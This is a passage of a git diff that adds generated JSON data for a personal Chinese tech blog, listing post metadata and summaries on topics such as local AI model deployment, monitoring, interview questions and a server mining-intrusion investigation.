49-4665-4429-a601-d6e8d57f2a50","date":{"start_date":"2024-08-06","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240806-lavis","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","title":"LAVIS在Mac,M1PRO芯片下的安装实战","status":"Published","publishDate":1722902400000,"publishDay":"2024-8-6","lastEditedDate":"2024-08-06T07:08:06.450Z","lastEditedDay":"2024-8-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","date":{"start_date":"2024-07-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240725-ai","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","title":"Iphone Mirroring圆了我AI打DNF手游的梦","status":"Published","publishDate":1721865600000,"publishDay":"2024-7-25","lastEditedDate":"2024-07-25T15:39:43.435Z","lastEditedDay":"2024-7-25","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""}],"posts":[{"id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","date":{"start_date":"2024-04-08","date_format":"relative"},"type":"Post","category":"万里长征","slug":"article/240408-LM-02","tags":["面试","文字"],"summary":"跟谁学面试题","title":"万里长征-02-跟谁学","status":"Published","publishDate":1712534400000,"publishDay":"2024-4-8","lastEditedDate":"2024-04-08T17:08:09.011Z","lastEditedDay":"2024-4-9","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=9a78ba09-76ce-4344-bad5-f6d60dc0680e","pageCoverThumbnail":"https://source.unsplash.com/random?t=9a78ba09-76ce-4344-bad5-f6d60dc0680e","tagItems":[{"name":"面试","color":"yellow"},{"name":"文字","color":"brown"}],"password":""},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","date":{"start_date":"2024-01-18"},"type":"Post","category":"心情随笔","slug":"article/example","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"示例文章","status":"Published","publishDate":1705536000000,"publishDay":"2024-1-18","lastEditedDate":"2024-01-19T06:18:08.580Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗓️","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","date":{"start_date":"2024-01-01"},"type":"Post","category":"知行合一","slug":"article/begin","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"将进酒","status":"Published","publishDate":1704067200000,"publishDay":"2024-1-1","lastEditedDate":"2024-04-06T03:31:44.998Z","lastEditedDay":"2024-4-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""}],"tag":"文字"},"__N_SSG":true} \ No newline at end of file diff --git "a/_next/data/76RZ7NVoSbfF1EgLzbeEj/tag/\346\227\245\345\277\227.json" "b/_next/data/76RZ7NVoSbfF1EgLzbeEj/tag/\346\227\245\345\277\227.json" new file mode 100644 index 000000000..6b9aec03a --- /dev/null +++ "b/_next/data/76RZ7NVoSbfF1EgLzbeEj/tag/\346\227\245\345\277\227.json" @@ -0,0 +1 @@ +{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection&id=3c6ddc29-47df-43f6-a375-de1c3a9cf466&t=3c6ddc29-47df-43f6-a375-de1c3a9cf466&width=800"},"allNavPages":[{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","title":"地瓜RDK X5上手ollama大模型测试","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","category":null,"tags":null,"summary":null,"slug":"article/241206-rdk","pageIcon":"🗒️","lastEditedDate":"2024-12-06T09:25:20.578Z"},{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","title":"多模态视频大模型Aria在Docker部署","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","category":"技术分享","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","slug":"article/241205-aria","pageIcon":"🗒️","lastEditedDate":"2024-12-05T07:43:49.973Z"},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","title":"开发Maven插件:实现打包后上传tos云服务","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","category":"技术分享","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","slug":"article/241110-tos-plugin","pageIcon":"🗒️","lastEditedDate":"2024-11-10T09:10:56.856Z"},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","category":"技术分享","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","slug":"article/240810-minicpm2.6","pageIcon":"🗒️","lastEditedDate":"2024-12-05T02:07:11.171Z"},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","title":"LAVIS在Mac,M1PRO芯片下的安装实战","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","category":"技术分享","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","slug":"article/240806-lavis","pageIcon":"🗒️","lastEditedDate":"2024-08-06T07:08:06.450Z"},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","title":"Iphone Mirroring圆了我AI打DNF手游的梦","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","category":"技术分享","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","slug":"article/240725-ai","pageIcon":"🗒️","lastEditedDate":"2024-07-25T15:39:43.435Z"},{"id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","title":"天池大赛Higress插件官方demo详细部署+调试","pageCoverThumbnail":"https://source.unsplash.com/random?t=023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","category":"技术分享","tags":["推荐","go","折腾"],"summary":"使用Higress AI网关优化AI调用成本。就是基于向量召回相似问题的缓存,降低LLM API调用成本。就是开发一个网关插件做QA缓存嘛。前文已经成功复现了hello-world插件,这次结合官方提供的AI-Cache插件自己动手改改,再写点注释放到天池大赛去跑跑分,环境搭建起来确实有很多要注意的地方,所以记录下来。","slug":"article/240626-demo","pageIcon":"🗒️","lastEditedDate":"2024-06-28T08:12:44.310Z"},{"id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","title":"Java程序员学习Go开发Higress的WASM插件","pageCoverThumbnail":"https://source.unsplash.com/random?t=ac8b0aec-6e91-49e0-b6c0-806e97729436","category":"技术分享","tags":["推荐","工具","折腾","docker","go"],"summary":"多方寻求解决无果,结论是tinygo@0.32+go@1.19无法在macos arm架构下打包。升级go@1.21再次打包提示unsafe.SliceData requires go1.20 or later。后放弃macos+arm,采用ubuntu+amd64打包,ubuntu打包也必须使用tinygo@0.28.1。0.32.0在ubuntu仍然提示unsupported GOOS/GOARCH pair wasip1/wasm","slug":"article/240625-higress","pageIcon":"🗒️","lastEditedDate":"2024-06-26T04:54:09.169Z"},{"id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","title":"万里长征-04-脉脉","pageCoverThumbnail":"","category":"万里长征","tags":["面试"],"summary":"脉脉面试题","slug":"article/240525-LM-04","pageIcon":"🗒️","lastEditedDate":"2024-06-26T04:59:08.858Z"},{"id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","title":"万里长征-03-搜狐","pageCoverThumbnail":"","category":"万里长征","tags":["面试"],"summary":"搜狐面试题","slug":"article/240429-LM-fox","pageIcon":"🗒️","lastEditedDate":"2024-05-25T02:20:00.057Z"},{"id":"146219e7-c178-4485-b223-22f4b977333c","title":"Prometheus+Grafana多方位监控","pageCoverThumbnail":"https://source.unsplash.com/random?t=146219e7-c178-4485-b223-22f4b977333c","category":"技术分享","tags":["推荐","运维"],"summary":"包含linux主机监控+nginx监控+es监控+rabbitMQ监控+redis监控+Java程序监控","slug":"article/240429-prometheus","pageIcon":"🗒️","lastEditedDate":"2024-04-29T03:07:56.545Z"},{"id":"71879fde-4992-4276-9767-ac5bd71e4058","title":"Nginx配置备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=71879fde-4992-4276-9767-ac5bd71e4058","category":"技术分享","tags":["运维","工具"],"summary":"nginx密码访问,prometheus,安全限制等","slug":"article/240425-nginx","pageIcon":"🗒️","lastEditedDate":"2024-04-24T16:37:04.342Z"},{"id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","title":"万里长征-02-跟谁学","pageCoverThumbnail":"https://source.unsplash.com/random?t=9a78ba09-76ce-4344-bad5-f6d60dc0680e","category":"万里长征","tags":["面试","文字"],"summary":"跟谁学面试题","slug":"article/240408-LM-02","pageIcon":"🗒️","lastEditedDate":"2024-04-08T17:08:09.011Z"},{"id":"63830328-e0f0-477a-b327-bc4ab921f89c","title":"万里长征-01-贝壳","pageCoverThumbnail":"https://source.unsplash.com/random?t=63830328-e0f0-477a-b327-bc4ab921f89c","category":"万里长征","tags":["面试"],"summary":"贝壳面试题","slug":"article/240405-LM-01","pageIcon":"🗒️","lastEditedDate":"2024-04-08T06:03:22.365Z"},{"id":"4d955058-b605-46cf-b242-1535b732af30","title":"万里长征","pageCoverThumbnail":"","category":"万里长征","tags":["面试","推荐"],"summary":"常见面试题汇总","slug":"article/240405-LM","pageIcon":"🗒️","lastEditedDate":"2024-04-07T09:23:11.250Z"},{"id":"1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","title":"Java程序CPU异常监控bash脚本","pageCoverThumbnail":"https://source.unsplash.com/random?t=1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","category":"技术分享","tags":["运维","linux","脚本","工具"],"summary":"极其简单的监控例子","slug":"article/240405-cpu","pageIcon":"🗒️","lastEditedDate":"2024-04-05T12:17:00.259Z"},{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本&重启备份检查&配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"将进酒","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf&width=800&fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🗒️","lastEditedDate":"2024-04-06T03:31:44.998Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":15},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":3},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":8},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":2},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":9},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1},{"id":"4db60a02-14cd-40e9-bf53-0f4c30547a4b","name":"运维","color":"gray","count":3},{"id":"bda76598-5cfc-492c-83ec-f17afb09b0c7","name":"linux","color":"orange","count":1},{"id":"c52cafb9-814a-4408-b23f-d195d9fb314a","name":"脚本","color":"orange","count":1},{"id":"531ca54d-1302-4bcf-83cc-b389e9d9a35e","name":"面试","color":"yellow","count":5},{"id":"f49c0c1e-65c1-461c-b9c3-81f6e8601540","name":"go","color":"gray","count":2}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":16},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1},{"id":"350fdef0-67f5-4e99-a661-24fd57c306be","name":"万里长征","color":"green","count":5}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"2021-3-13","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"2023-3-23","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":1,"latestPosts":[{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","date":{"start_date":"2024-12-06","date_format":"relative"},"type":"Post","slug":"article/241206-rdk","title":"地瓜RDK X5上手ollama大模型测试","status":"Published","category":"","publishDate":1733443200000,"publishDay":"2024-12-6","lastEditedDate":"2024-12-06T09:25:20.578Z","lastEditedDay":"2024-12-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","tagItems":[],"password":""},{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","date":{"start_date":"2024-12-05","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241205-aria","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","title":"多模态视频大模型Aria在Docker部署","status":"Published","publishDate":1733356800000,"publishDay":"2024-12-5","lastEditedDate":"2024-12-05T07:43:49.973Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","date":{"start_date":"2024-08-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240810-minicpm2.6","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","status":"Published","publishDate":1723248000000,"publishDay":"2024-8-10","lastEditedDate":"2024-12-05T02:07:11.171Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","tagItems":[{"name":"折腾","color":"purple"}],"password":""},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","date":{"start_date":"2024-11-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241110-tos-plugin","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","title":"开发Maven插件:实现打包后上传tos云服务","status":"Published","publishDate":1731196800000,"publishDay":"2024-11-10","lastEditedDate":"2024-11-10T09:10:56.856Z","lastEditedDay":"2024-11-10","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","tagItems":[{"name":"工具","color":"pink"},{"name":"折腾","color":"purple"}],"password":""},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","date":{"start_date":"2024-08-06","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240806-lavis","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","title":"LAVIS在Mac,M1PRO芯片下的安装实战","status":"Published","publishDate":1722902400000,"publishDay":"2024-8-6","lastEditedDate":"2024-08-06T07:08:06.450Z","lastEditedDay":"2024-8-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","date":{"start_date":"2024-07-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240725-ai","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","title":"Iphone 